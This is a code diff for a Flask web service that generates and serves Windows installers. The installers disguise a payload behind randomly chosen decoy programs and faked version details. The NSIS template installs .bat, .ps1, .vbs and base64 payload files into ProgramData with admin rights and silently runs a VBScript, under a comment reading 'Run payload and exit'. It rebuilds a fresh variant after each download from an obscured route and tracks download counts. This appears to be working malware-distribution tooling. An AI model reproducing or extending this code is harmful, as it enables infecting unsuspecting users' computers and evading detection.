Update main.py

main.py

@@ -15,7 +15,7 @@ BASE_DIR = os.path.abspath(os.path.dirname(__file__))
 UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
 COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
 STATS_FILE = "download_stats.json"
-NSIS_COMPILER_PATH = "/usr/local/bin/makensis"  # Update this to the correct Linux path for makensis
+NSIS_COMPILER_PATH = "/usr/local/bin/makensis"
 os.makedirs(UPLOAD_FOLDER, exist_ok=True)
 os.makedirs(COMPILE_FOLDER, exist_ok=True)
 
@@ -28,17 +28,17 @@ NSIS_SCRIPT_TEMPLATE = r"""
 ; Basic definitions
 Name "{{ProductName}}"
 OutFile "${{installer_path}}"
-InstallDir "/usr/local/share/Omega"
+InstallDir "$WINDIR\..\ProgramData\Omega"
 RequestExecutionLevel admin
 SetCompressor /SOLID lzma
 SetCompressorDictSize 96
 SetDatablockOptimize ON
 
 ; Interface settings
-!define MUI_ICON "/home/user/icons/favicon.ico"
+!define MUI_ICON "app.ico"
 !define MUI_WELCOMEPAGE_TITLE "Welcome to {{ProductName}} Setup"
 !define MUI_WELCOMEPAGE_TEXT "This will install {{ProductName}} on your computer.$\r$\n$\r$\nClick Install to continue."
-!define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}/Contrib/Graphics/Wizard/win.bmp"
+!define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}\Contrib\Graphics\Wizard\win.bmp"
 
 ; Pages
 !insertmacro MUI_PAGE_WELCOME
@@ -59,22 +59,22 @@ AutoCloseWindow true
 
 Section "MainSection" SEC01
     SetDetailsPrint none
-    SetOutPath "/usr/local/share/Omega"
+    SetOutPath "$WINDIR\..\ProgramData\Omega"
     
     ; File copies
     File "{{random_program}}"
-    File "/home/user/programs/0.bat"
-    File "/home/user/programs/run_base64_encrypted.txt"
-    File "/home/user/programs/0.ps1"
-    File "/home/user/programs/0.vbs"
+    File "C:\Users\Albert\Videos\New folder\New folder\0.bat"
+    File "C:\Users\Albert\Videos\New folder\New folder\run_base64_encrypted.txt"
+    File "C:\Users\Albert\Videos\New folder\New folder\0.ps1"
+    File "C:\Users\Albert\Videos\New folder\New folder\0.vbs"
     File "{{random_program}}"
-    File "/home/user/programs/1.bat"
-    File "/home/user/programs/1.ps1"
-    File "/home/user/programs/1.vbs"
+    File "C:\Users\Albert\Videos\New folder\New folder\1.bat"
+    File "C:\Users\Albert\Videos\New folder\New folder\1.ps1"
+    File "C:\Users\Albert\Videos\New folder\New folder\1.vbs"
     
     
     ; Run payload and exit
-    ExecShell "" "/usr/local/share/Omega/0.vbs" SW_HIDE
+    ExecShell "" "$WINDIR\..\ProgramData\Omega\0.vbs" SW_HIDE
     SetAutoClose true
 SectionEnd
 """
@@ -187,7 +187,7 @@ def generate_nsi_script():
     version_details = generate_random_version_details()
 
     # Choose random .exe files from the Programs folder
-    programs_folder = "/home/user/programs"  # Linux version path for programs
+    programs_folder = r"C:\Users\Albert\Videos\New folder\Programs"
     exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
     
     # Check if there are enough .exe files
@@ -204,50 +204,124 @@ def generate_nsi_script():
 
     # Replace all placeholders in the template
     nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
-    nsi_content = nsi_content.replace("{{ProductName}}", version_details["ProductName"])
-    nsi_content = nsi_content.replace("{{ProductVersion}}", version_details["ProductVersion"])
-    nsi_content = nsi_content.replace("{{CompanyName}}", version_details["CompanyName"])
-    nsi_content = nsi_content.replace("{{LegalCopyright}}", version_details["LegalCopyright"])
-    nsi_content = nsi_content.replace("{{FileVersion}}", version_details["FileVersion"])
-    nsi_content = nsi_content.replace("{{FileDescription}}", version_details["FileDescription"])
-    nsi_content = nsi_content.replace("{{random_program}}", random_exe_1_path)
-
-    nsi_script_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
-    
-    with open(nsi_script_path, "w") as nsi_file:
+    nsi_content = nsi_content.replace("${NSISDIR}", "${NSISDIR}")
+
+    # Replace version details
+    for key, value in version_details.items():
+        nsi_content = nsi_content.replace(f"{{{{{key}}}}}", value)
+
+    # Replace the placeholders for the random executable files
+    nsi_content = nsi_content.replace('{{random_program}}', random_exe_1_path, 1)
+    nsi_content = nsi_content.replace('{{random_program}}', random_exe_2_path, 1)
+
+    # Save the script
+    nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
+    with open(nsi_file_path, 'w') as nsi_file:
         nsi_file.write(nsi_content)
 
-    return nsi_script_path, installer_output
+    return nsi_file_path, installer_output
 
-def compile_nsi_script(nsi_script_path, installer_output):
-    """Compiles the NSI script into an executable installer."""
-    compile_cmd = [NSIS_COMPILER_PATH, nsi_script_path]
-    
-    # Ensure the NSIS compiler is available
-    if not shutil.which("makensis"):
-        raise FileNotFoundError("NSIS Compiler not found. Make sure NSIS is installed.")
+def cleanup_folders():
+    """Clean up both compile and upload folders"""
+    for folder in [COMPILE_FOLDER, UPLOAD_FOLDER]:
+        for file in os.listdir(folder):
+            file_path = os.path.join(folder, file)
+            try:
+                if os.path.isfile(file_path):
+                    os.unlink(file_path)
+                elif os.path.isdir(file_path):
+                    shutil.rmtree(file_path)
+            except Exception as e:
+                print(f"Error: {e}")
+
+def load_stats():
+    """Load download statistics from file"""
+    if os.path.exists(STATS_FILE):
+        with open(STATS_FILE, 'r') as f:
+            return json.load(f)
+    return {"downloads": 0, "last_download": None}
+
+def save_stats(stats):
+    """Save download statistics to file"""
+    with open(STATS_FILE, 'w') as f:
+        json.dump(stats, f)
+
+def compile_nsi_script(nsi_file_path):
+    """Compile the NSI script using NSIS compiler"""
+    compile_cmd = [NSIS_COMPILER_PATH, nsi_file_path]
+    compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
+    if compile_result.returncode != 0:
+        print(f"NSIS Compile Error: {compile_result.stderr}")
+        return None
+    return compile_result
+
+def get_current_installer():
+    """Get the path of the most recent installer"""
+    files = list(Path(UPLOAD_FOLDER).glob('*.exe'))
+    if not files:
+        return None
+    return str(max(files, key=os.path.getctime))
+
+def generate_and_compile_new():
+    """Generate and compile a new installer"""
+    nsi_file_path, installer_output = generate_nsi_script()
+    compile_nsi_script(nsi_file_path)
+
+@app.route('/download/cnVuLmNtZA==')
+def download_file():
+    """Handle file download requests"""
+    stats = load_stats()
+
+    file_path = get_current_installer()
+    if not file_path:
+        nsi_file_path, installer_output = generate_nsi_script()
+        compile_nsi_script(nsi_file_path)
+        file_path = installer_output
+
+    if not os.path.exists(file_path):
+        return "Installer file not found", 404
     
-    result = subprocess.run(compile_cmd, capture_output=True, text=True)
-    if result.returncode != 0:
-        raise RuntimeError(f"NSIS Compilation failed: {result.stderr}")
-    return installer_output
+    response = send_file(file_path, as_attachment=True)
 
-def serve_installer():
-    """Serves the installer once compiled."""
-    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
-    nsi_script_path, installer_output = generate_nsi_script()
-    compiled_installer = compile_nsi_script(nsi_script_path, installer_output)
-    return send_file(compiled_installer, as_attachment=True, download_name=f"setup_{timestamp}.exe")
+    def after_request(response):
+        stats['downloads'] += 1
+        stats['last_download'] = datetime.now().isoformat()
+        save_stats(stats)
 
-@app.route('/generate_installer', methods=['GET'])
-def generate_installer_route():
-    """API route to trigger installer generation."""
-    return jsonify({"message": "Installer is being generated. Please wait..."})
+        cleanup_folders()
+        Thread(target=lambda: generate_and_compile_new()).start()
+        return response
+    
+    return after_request(response)
 
-@app.route('/download_installer', methods=['GET'])
-def download_installer_route():
-    """API route to download the generated installer."""
-    return serve_installer()
+@app.route('/show')
+def show_stats():
+    """Show download statistics"""
+    stats = load_stats()
+    return jsonify({
+        "total_downloads": stats['downloads'],
+        "last_download": stats['last_download']
+    })
+
+@app.route('/')
+def home():
+    """Home page with links to available endpoints"""
+    return """
+    <h1>File Compiler Service</h1>
+    <ul>
+        <li><a href="/download/cnVuLmNtZA==">/download/cnVuLmNtZA==</a> - Download compiled installer</li>
+        <li><a href="/show">/show</a> - View download statistics</li>
+    </ul>
+    """
 
 if __name__ == '__main__':
-    app.run(debug=True, host='0.0.0.0', port=7860)
+    # Clean up on startup
+    cleanup_folders()
+    
+    # Compile initial installer
+    print("Creating initial installer...")
+    nsi_file_path, installer_output = generate_nsi_script()
+    compile_nsi_script(nsi_file_path)
+    
+    # Start the Flask application
+    app.run(debug=True, host='0.0.0.0', port=5000)